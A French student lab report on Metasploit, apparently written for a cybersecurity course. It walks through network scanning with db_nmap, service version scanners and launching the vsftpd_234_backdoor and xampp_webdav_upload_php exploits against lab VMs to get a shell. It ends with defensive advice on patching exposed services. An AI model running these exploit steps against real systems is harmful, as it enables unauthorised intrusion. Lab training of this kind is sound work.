Roméo DERRUAU

TP Cybersécurité

TP Metasploit – Bloc 3 – JOBARD Guillaume – 2024/2025 – Mewo

Objectif : découvrir les outils automatisés permettant de maximiser l'efficacité d'une attaque informatique.Trouver une parade à ce genre de dispositif.

1. **Récupérez votre VM Kali, votre plan d'adressage et vérifiez que tout est opérationnel.**

   Kali Linux : 10.10.0.1
   PC Windows : 10.10.0.2

2. **Notez chaque ligne de commande réalisée et décrivez l'action du pirate informatique.**

   Apt-cache show metasploit-framwork | tail –n 6 : description de l'application et code vérification md5

   Msfconsole : Démarrer la console metasploit

   Workspace –a msftest : Créer un espace de travail "msftest"

   Clear : Vider l'historique de la console

   Db_nmap –F Ipdébut-Ipfin (192.168.1.0-10) : Nmap de tous les ports ouverts sur toutes les ip dans la zone définie (-F indique la vitesse rapide du scan)

   (hosts) : Afficher les hôtes dans la zone définie d'ip et leur mac adress
   (services) : Affichage de tous les ports ouverts pour les ip dans la zone définie

   Use auxiliary/scanner/ssh/ssh_version : Ouvrir le scanner ssh

(options) : les paramètres à utiliser pour le scanner ssh
(services) -u –p 22 –R : filtrage des ports ssh ouverts et définir les options
(setg) threads 10 : Définir 10 threads pour les outils
(run) : Lancer le scanner ssh

Use auxiliary/scanner/http/http_version : Ouvrir le scanner http

(options) : les paramètres à utiliser pour le scanner http
(services) -u –p 80 –R : filtrage des ports 80 et définir les options
(run) : Lancer le scanner http

Use auxiliary/scanner/smb/smb_version : Ouvrir le scanner smb
(options) : les paramètres à utiliser pour le scanner smb
(services) -u –p 445 –R : filtrage ports smb et définir les options
(run) : Lancer le scanner smb

Services –u : Liste des applications ouvertes sur les ports de la zone définie
Services ip : Liste des ports ouverts et applications sur une ip

Search xampp : Chercher les failles sur xampp par exemple et obtenir leur niveau, et leur nom.

Use exploit/windows/http/xampp_webdav_upload_php : Utiliser la faille xampp trouvée précédemment par son nom
(options) : les paramètres à utiliser pour la faille
(set) rhost ip : Définir la cible de la faille
(show) payloads : Montrer la liste des techniques à utiliser
(set) payload xxx : Utiliser la technique xxx
(exploit) : Lancer l'attaque en utilisant les paramètres définis

(ps) : Voir la liste des services allumés sur la machine cible

(sysinfo) : Récupérer des informations sur le système cible

(exit) : Quitter le programme en cours

3. **Quel est le principe de fonctionnement du programme ?**

   Le programme fonctionne de sorte qu'il commence par scanner le réseau (nmap) dans la range d'ip définie par l'utilisateur, et suivant les ports ouverts sur le réseau, il va pouvoir soit scanner par ssh soit http soit mbs afin de récupérer des informations sur l'application distante. S'il voit une application distante ouverte telle que xampp, il peut utiliser une base de données de failles afin de pouvoir l'exploiter sur l'application. Suivant la faille, il peut utiliser des techniques telles que reverse-tcp et accéder à la machine, il peut ensuite récupérer des informations sur le système, voir les processus allumés, etc.

4. **Reconnaissez-vous des logiciels déjà vus par le passé ?**

   Parmi les outils proposés par Metasploit, on peut reconnaître Nmap (zenmap-kbx)

5. **Sur votre machine Kali, tentez de reproduire les actions vues auparavant dans votre infrastructure, sur une machine client sans importance pour votre PPE. Vous pouvez également utiliser une VM dédiée à ce TP dite « Metasploitable ».**

   On va désormais essayer sur une machine Ubuntu:

   Démarrer la base de données de Metasploit et démarrer Metasploit, puis créer un espace de travail

   sudo service postgresql start
   sudo msfdb init
   sudo msfconsole
   workspace -a test

   On va ensuite scanner le réseau, (avec notre machine metasploitable Ubuntu en 10.10.0.3)

   db_nmap -F 10.10.0.0-10

   On va ensuite vérifier les hôtes puis les services actifs sur ceux-ci

hosts

services –u

Le scan montre que le port 21 (FTP) est ouvert sur la machine Ubuntu (IP 10.10.0.3)

On va alors scanner la version du serveur FTP

use auxiliary/scanner/ftp/ftp_version
set rhosts 10.10.0.3
run

On cherche ensuite une faille en fonction de la version du serveur FTP
À l'aide de search vsftpd

On trouve alors la faille vsftpd_234_backdoor, que l'on va utiliser avec la suite de commandes:

use exploit/unix/ftp/vsftpd_234_backdoor

set rhost 10.10.0.3

exploit

Une fois l'exploit lancé, on obtient un accès à la machine Ubuntu via un shell.

6. Conclusions

Dans ce TP, on a utilisé Metasploit pour tester les outils automatisés qui permettent de mener des attaques informatiques. On a commencé par configurer notre machine Kali Linux, puis lancé Metasploit avec un nouvel espace de travail.

On a ensuite fait un scan réseau avec **db_nmap** pour identifier les machines et ports ouverts sur notre réseau. Sur la machine cible Ubuntu (10.10.0.3), on a vu

que le port 21 (FTP) était accessible. Avec l'outil **auxiliary/scanner/ftp/ftp_version**, on a pu identifier la version du serveur FTP en place. Après ça, on a cherché des vulnérabilités en lien avec cette version grâce à la commande **search vsftpd**, et on a trouvé une faille intéressante : **vsftpd_234_backdoor**. En configurant Metasploit pour cette vulnérabilité et en lançant l'exploit, on a réussi à obtenir un accès à la machine Ubuntu via un shell.

Tout au long du TP, on a vu que Metasploit permet aussi de scanner d'autres services comme SSH, HTTP et SMB, pour identifier les versions et exploiter des failles associées. Par exemple, pour le serveur XAMPP, on a exploité la faille **xampp_webdav_upload_php**, ce qui nous a permis de prendre la main sur une autre machine cible.

Ce TP nous montre clairement à quel point il est facile pour un attaquant d'exploiter des services obsolètes ou mal configurés. On a vu que des services comme FTP, s'ils ne sont pas à jour, peuvent être un point d'entrée. Il est donc indispensable de toujours mettre à jour les services exposés sur le réseau, surtout ceux accessibles publiquement, pour éviter ce genre de situation.

Finalement, ce TP illustre bien l'importance de maintenir son infrastructure à jour et de surveiller les services ouverts, car un pirate peut exploiter la moindre faille pour prendre le contrôle d'une machine. Cela montre aussi que des outils comme Metasploit rendent ce type d'attaques très accessibles, même pour quelqu'un avec peu de compétences techniques.

Conclusion rédigée à l'aide de ChatGPT